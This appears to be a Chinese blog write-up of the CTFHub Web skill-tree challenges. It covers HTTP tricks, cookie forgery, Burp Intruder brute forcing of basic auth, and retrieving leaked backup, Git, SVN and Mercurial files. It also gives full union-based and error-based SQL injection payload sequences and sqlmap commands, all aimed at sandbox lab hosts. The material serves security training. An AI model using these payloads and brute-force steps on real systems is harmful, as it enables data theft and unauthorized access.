CTFHub-技能树-Web


最近一段时间一直在复习Web基础知识,光看生硬的知识点也无趣,就想着边刷题边复习吧,正好看到群里在推荐CTFHub这个平台,于是我就开始刷CTFHub技能树啦🎈

Web前置技能

HTTP协议

HTTP是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:World Wide Web )服务器传输超文本到本地浏览器的传送协议。HTTP是一个基于TCP/IP通信协议来传递数据(HTML 文件, 图片文件, 查询结果等)。 更多详细请看:HTTP教程

HTTP三个特征:无连接、媒体独立、无状态

HTTP九种请求方法:GET、POST 、HEAD、OPTIONS、PUT、PATCH、DELETE、TRACE、CONNECT

客户端HTTP请求消息:由请求行请求头部请求数据组成。

一般格式 示例

服务器HTTP响应消息:由状态行消息报头响应正文组成。

HTTP状态码分类

分类 分类描述
1** 信息,服务器收到请求,需要请求者继续执行操作
2** 成功,操作被成功接收并处理
3** 重定向,需要进一步的操作以完成请求
4** 客户端错误,请求包含语法错误或无法完成请求
5** 服务器错误,服务器在处理请求的过程中发生了错误

状态码详情请看:https://www.runoob.com/http/http-status-codes.html)

请求方式

题目考点:HTTP Method

打开链接是一段话

HTTP Method is GET
Use CTF**B Method,I will give you flag.
Hint If you got [HTTP Method Not Allowed] Error,you should requests index.php

根据题目意思,需要你用CTF**B 方法请求 index.php来获取flag

注意:HTTP Method 是可以自定义的,并且区分大小写.

方法一:使用curl

curl -v -X CTFHUB http://challenge-53da4bfe747dae4b.sandbox.ctfhub.com:10080/index.php

curl用法请参考:https://jwt1399.top/posts/49445.html#toc-heading-46

方法二:使用Burp抓包修改请求方式后,再发包

302跳转

题目考点:HTTP状态码

状态码3**,代表重定向

状态码 状态码英文名称 中文描述
302 Found 临时移动。与301类似。但资源只是临时被移动。客户端应继续使用原有URI

更多状态码详情请看:https://www.runoob.com/http/http-status-codes.html)

用浏览器访问index.php发现会302跳转到 index.html

方法一:使用curl

curl -v CTFHUB http://challenge-45da4bfe747dae4b.sandbox.ctfhub.com:10080/index.php

方法二:使用Burp抓包

扩展知识:重定向和请求转发

HTTP中的重定向和请求转发的区别:转发是服务器行为,重定向是客户端行为。

转发过程:客户浏览器发送HTTP请求➡➡➡Web服务器接受请求➡➡➡调用内部方法在容器内部完成请求处理和转发动作➡➡➡将目标资源发送给客户

重定向过程:客户浏览器发送HTTP请求➡➡➡web服务器接受发送302状态码响应及对应新的location给客户浏览器➡➡➡客户浏览器发现是302响应,则自动再发送一个新的HTTP请求,请求url是新的location地址➡➡➡服务器根据此请求寻找资源并发送给客户

题目考点:Cookie欺骗、认证、伪造

cookie是由后端服务器端创建保存在客服端一种数据库结构。浏览器请求和后端服务端响应都会携带创建的cookie来回传输。cookie在传输时存储在请求头和响应头中。

打开链接,显示一句话

hello guest. only admin can get flag.

Burp 抓包发现Cookie:admin=0,把0改为1重新发包,就得到flag了

扩展知识:cookie和session

cookie和session的区别:cookie是存在于客户端的,而session是存在于服务器端的

cookie:web服务所使用的HTTP服务是无状态的。这就意味着,服务器无法分辨收到的请求是属于哪一个用户的,需要通过cookie来对用户的身份进行标识了,用户每次对服务器发起请求时,都带上自己独有的cookie,服务器通过读取cookie信息,识别用户。

session:session和cookie的作用有点类似,都是为了存储用户相关的信息。存储在服务器的数据会更加的安全,不容易被窃取。但存储在服务器也有一定的弊端,就是会占用服务器的资源。

基础认证

题目考点:HTTP 基础认证、爆破

在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证

HTTP基本认证的过程:

请求:客户端发送HTTP Request给服务器

质询:因为request中没有包含Authorization header或者错误包含, 服务器会返回一个401 Unauthozied给客户端,并且在Response的 header “WWW-Authenticate“ 中添加信息。

授权:客户端输入用户名和密码并用base64加密后,放在Authorization header 中发送给服务器。

成功:服务器将Authorization header中的用户名密码取出,进行验证, 如果验证通过,将根据请求,发送资源给客户端

打开链接 点击click,需要用户名和密码

随便输个账号密码(账号jwt 密码 123),使用BurpSuite 抓包

请求:发送HTTP Request给服务器

质询:因为request中错误包含Authorization header, 服务器会返回一个401 Unauthozied给客户端,并且在Response的 header “WWW-Authenticate“ 中添加信息。

得到提示 Do u konw admin ?,于是猜测账号是 admin , 应该就是HTTP 请求头部的 Authorization 字段中的账号密码错误,需要我们爆破,题目也给了字典

Authorization: Basic and0OjEyMw==

Basic表示是「基础认证」, 后面的 and0OjEyMw== 用 base64 解码后是 jwt:123 , 也就是我们之前输入的账号和密码
根据提示,容易猜测用户名为 admin ,那么 Authorization 头字段的格式就应该为
Authorization: Basic base64(admin:密码)

授权:客户端输入用户名和密码并用base64加密后,放在Authorization header 中发送给服务器。

1.将报文发送到 Intruder, 将 Basic 后面 base64 部分添加为 payload position

2.在 有效载荷 选项卡下,选择 有效载荷集运行时文件, 然后在 有效载荷 中点击 文件选择 加载密码字典

3.有效负载处理->添加-> 添加前缀-> 输入 admin:

4.有效负载处理->添加-> 编码-> Base64编码

5.有效载荷编码 取消勾选的 URL编码这些字符, 不取消的话 base64 之后的 = 会被转成 %3d ,这样就爆不出密码

6.点击开始攻击 ,然后点击 状态 排序,看到状态码出现 200 的,即爆破成功

7.查看 Response 得到 flag

响应包源代码

题目考点:HTTP响应包源代码查看

1.打开题目,发现界面为一贪吃蛇小游戏界面,根据题目提示,应该与响应包有关

2.F12审查元素,直接在响应包中发现flag

信息泄露

目录遍历

打开网站,提示点击寻找flag,之后会跳转到flag_in_here这个目录,挨个对里面的目录进行寻找,就能找到flag

PHPINFO

打开题目之后提示让点击查看phpinfo,然后Ctrl+F搜索flag,就找到了

备份文件下载

网站备份

常见的网站源码备份文件名

list1 = [‘web’, ‘website’, ‘backup’, ‘back’, ‘www’, ‘wwwroot’, ‘temp’]

常见的网站源码备份文件后缀

list2 = [‘tar’, ‘tar.gz’, ‘zip’, ‘rar’]

#python3
import requests
# url1为被扫描地址,后不加‘/’
url1 = 'http://challenge-3d8be6a2b5195774.sandbox.ctfhub.com:10080'
# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']

for i in list1:
    for j in list2:
        back = str(i) + '.' + str(j)
        url2 = str(url1) + '/' + back
        print(back + '    ', end='')
        print(len(requests.get(url2).text))

对常见的备份文件进行扫描,发现存在www.zip,解压得到的txt中发现flag

bak文件

xxx.bak为备份文件

curl http://challenge-c86ab07eaf0058b1.sandbox.ctfhub.com:10080/.index.php.bak

Vim缓存

在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例:第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 .index.php.swo 的交换文件
第三次产生的交换文件则为 .index.php.swn

curl http://challenge-c86ab07eaf0058b1.sandbox.ctfhub.com:10080/.index.php.swp

.DS_Store

.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。

方法一–用curl直接查看

curl http://challenge-c86ab07eaf0058b1.sandbox.ctfhub.com:10080/.DS_Store --output a.txt

查看a.txt发现有个3ca5353db1943cc0e1e108d40d5fbb99.txt,查看该txt得到flag

方法二–利用工具解析

详情看我另外一篇文章:.DS_Store文件泄漏利用脚本

Git泄露

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。工具:GitHack

Git常见的利用:
①.git/index中会缓存git add的文件,这里在没有commit的情况下,也是存在的
②.git/refs/heads/master 记录了master的commit的hash,由此可以解析出这个commit的所有文件
③.git/logs/HEAD其中存储了git的log信息,可以找到历史的commit项
④.git/refs/stash 工作进度的临时保存
⑤.git/info/packs packs文件提取恢复

Log

1.使用dirsearch工具扫描网站目录,发现git泄露.git/logs/HEAD,在git中是存储历史记录的

python3 dirsearch.py -u "http://challenge-89c367ed8802f5e5.sandbox.ctfhub.com:10080" -e *

2.使用GitHack工具克隆目标源代码到本地

python GitHack.py http://challenge-89c367ed8802f5e5.sandbox.ctfhub.com:10080/.git/

3.执行git log查看commit历史记录 可以看到当前版本是remove flag,我们要的flag在add flag中

4.方法1:使用git diff直接与 add flag (e2f0) 这次提交进行差异比对

5.方法2:使用git reset --hard <file>直接切换到 add flag (e2f0) 这个版本

Stash

Stash:能够将所有未提交的修改(工作区和暂存区)保存至堆栈中,用于后续恢复当前工作目录。

1.使用dirsearch扫描网站目录,发现git泄露.git/refs/stash ,在git中是暂存区的意思

python3 dirsearch.py -u "http://challenge-ba5511373d69c409.sandbox.ctfhub.com:10080/" -e *

2.使用GitHack克隆目标源代码到本地

python GitHack.py http://challenge-ba5511373d69c409.sandbox.ctfhub.com:10080//.git/

3.方法一:使用git stash list 显示保存进度的列表,发现有 stash

使用git stash pop 恢复最新的进度到工作区,这个文件的内容就是 flag

4.方法二:查看 .git/refs/stash 找到 stash 对应的 hash,使用git diff b59e90 即可看到 flag

Index

还是先使用GitHack克隆目标源代码到本地,因为题目是index,所以考虑git的index暂存区文件,打开克隆好的文件夹发现flag

SVN泄露

当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。工具:dvcs-ripper

1.使用dirsearch扫描发现有 .svn/ 目录,确认是 .svn 泄露。

python3 dirsearch.py -u "http://challenge-8df627014df49067.san dbox.ctfhub.com:10080/" -e *

2.使用 dvcs-ripper 工具中的 rip-svn.pl 脚本进行 clone.

cd dvcs-ripper

perl rip-svn.pl -v -u http://challenge-8df627014df49067.sandbox.ctfhub.com:10080/.svn/

3.进入.svn/pristine/文件夹下, 在bf文件夹下发现xxx.svn-base源码文件,查看得到flag

HG泄露

当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。dvcs-ripper

1.使用dirsearch扫描发现有 .hg/ 目录,确认是 .hg 泄露。

python3 dirsearch.py -u "http://challenge-a6460a92a6b0ee37.sandbox.ctfhub.com:10080/" -e *

2.使用 dvcs-ripper 工具中的 rip-svn.pl 脚本进行 clone.

cd dvcs-ripper

perl rip-hg.pl -v -u http://challenge-a6460a92a6b0ee37.sandbox.ctfhub.com:10080/.hg/

3.查看.hg/store/fncache,得到flag 的文件名为flag_849825983.txt,直接访问即可得 flag

cat .hg/store/fncache

curl http://challenge-a6460a92a6b0ee37.sandbox.ctfhub.com:10080/flag_849825983.txt
或者
curl http://challenge-a6460a92a6b0ee37.sandbox.ctfhub.com:10080/.hg/store/data/flag_849825983.txt.i

参考:常见Web源码泄露总结

密码口令

弱口令

通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。

打开链接是一个后台登录页面,直接Burp抓包,猜测用户名为admin,使用Intruder模块进行密码爆破,得到密码为password,登录即可得到flag

默认口令

打开页面后,发现是亿邮邮件网关,经百度查询亿邮邮件网关系统默认口令,直接查到账户和密码,登录即可得到flag

SQL注入

整数型注入

#查看页面变化,判断sql注入类别【为数字型注入】
1

#确定字段数【字段数为2】
1 order by  1
1 order by  2
1 order by  3

#确定字段顺序
1 union select 1,2

#爆数据库名【sqli】
-1 union select 1,database()

#爆表名【news,flag】
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

#爆列名【flag】
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

#爆值
-1 union select 1,flag from flag

字符型注入

#查看页面变化,判断sql注入类别【为字符型注入】
1

#确定字段数【字段数为2】
1' order by  1 #
1' order by  2 #
1' order by  3 #

#确定字段顺序
-1' union select 1,2 #

#爆数据库名【sqli】
-1' union select 1,database() #
或者将#改为--空格


#爆表名【news,flag】
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #


#爆列名【flag】
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #

#爆值
-1' union select 1,flag from flag #

报错注入

#查看页面变化,判断sql注入类别【为数字型注入】
1
#确定字段数【字段数为2】

1 order by 1
1 order by 2
1 order by 3 报错

#获取数据库名【Duplicate entry 'sqli-1' for key 'group_key'】注意:有可能要多查几次才能成功
-1 union select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a

#获取表名【 Duplicate entry 'flag-1' for key 'group_key'】
-1 union select count(*),concat_ws('-',(select table_name from information_schema.tables where table_schema='sqli' limit 1,1),floor(rand()*2))as a from information_schema.tables group by a
#因为Subquery returns more than 1 row,所以用limit来控制输出,连接函数也不管用

-1 union select count(*),concat_ws('-',(select concat(table_name) from information_schema.tables where table_schema='sqli'),floor(rand()*2))as a from information_schema.tables group by a

#获取列名【Duplicate entry 'flag-0' for key 'group_key'】
-1 union select count(*),concat_ws('-',(select column_name from information_schema.columns where table_name='flag'limit 0,1),floor(rand()*2))as a from information_schema.tables group by a

#爆值【Duplicate entry 'ctfhub{64d51cbcc3eb2513447c46282c921601c14da36b}-1' for key 'group_key'】
-1 union select count(*),concat_ws('-',(select flag from flag limit 0,1),floor(rand()*2))as a from information_schema.tables group by a

image-20200718201155785

布尔盲注

直接使用sqlmap工具跑

--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
--technique:选择注入技术,B、T、E、U、S
--threads 10 :设置线程为10,运行速度会更快
--dbms:不仅可以指定数据库类型,还可以指定数据库版本
#查询数据库 #【sqli】
python sqlmap.py -u http://challenge-0107480d29208db9.sandbox.ctfhub.com:10080/?id=1 --technique T --dbs --batch --threads 10 --dbms=mysql

#获取数据库中的表 #【flag】
python sqlmap.py  -u http://challenge-0107480d29208db9.sandbox.ctfhub.com:10080/?id=1 --technique T -D sqli  --tables --batch --threads 10 --dbms=mysql

#获取表中的字段名 #【flag】
python sqlmap.py -u http://challenge-0107480d29208db9.sandbox.ctfhub.com:10080/?id=1 --technique T -D sqli -T flag --columns --batch --threads 10 --dbms=mysql

#获取字段信息 
python sqlmap.py -u http://challenge-0107480d29208db9.sandbox.ctfhub.com:10080/?id=1 --technique T -D sqli -T flag -C flag --dump --batch --threads 10 --dbms=mysql

#--technique使用参数B跑不出来,改成T才跑出来

时间盲注

赞助💰

如果你觉得对你有帮助,你可以请我喝一杯冰可乐!嘻嘻🤭

支付宝支付 微信支付


文章作者: 简简
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 简简 !
评论
填上邮箱会收到评论回复提醒哦!!!
 上一篇
SQLi-LABS学习笔记(更新中) SQLi-LABS学习笔记(更新中)
SQLi-Labs是一个专业的SQL注入练习平台,以前也偶尔练习过一些些关卡,但一直没有系统的练习全部关卡过,希望这次可以坚持下去吧~~ SQLi-LABS闯关游戏下载地址:https://github.com/Audi-1/sql
2020-07-17
下一篇 
Linux文本处理三剑客 Linux文本处理三剑客
awk、sed、grep是linux操作文本的三大利器,合称文本三剑客。也是必须掌握的linux命令之一。
2020-06-09
  目录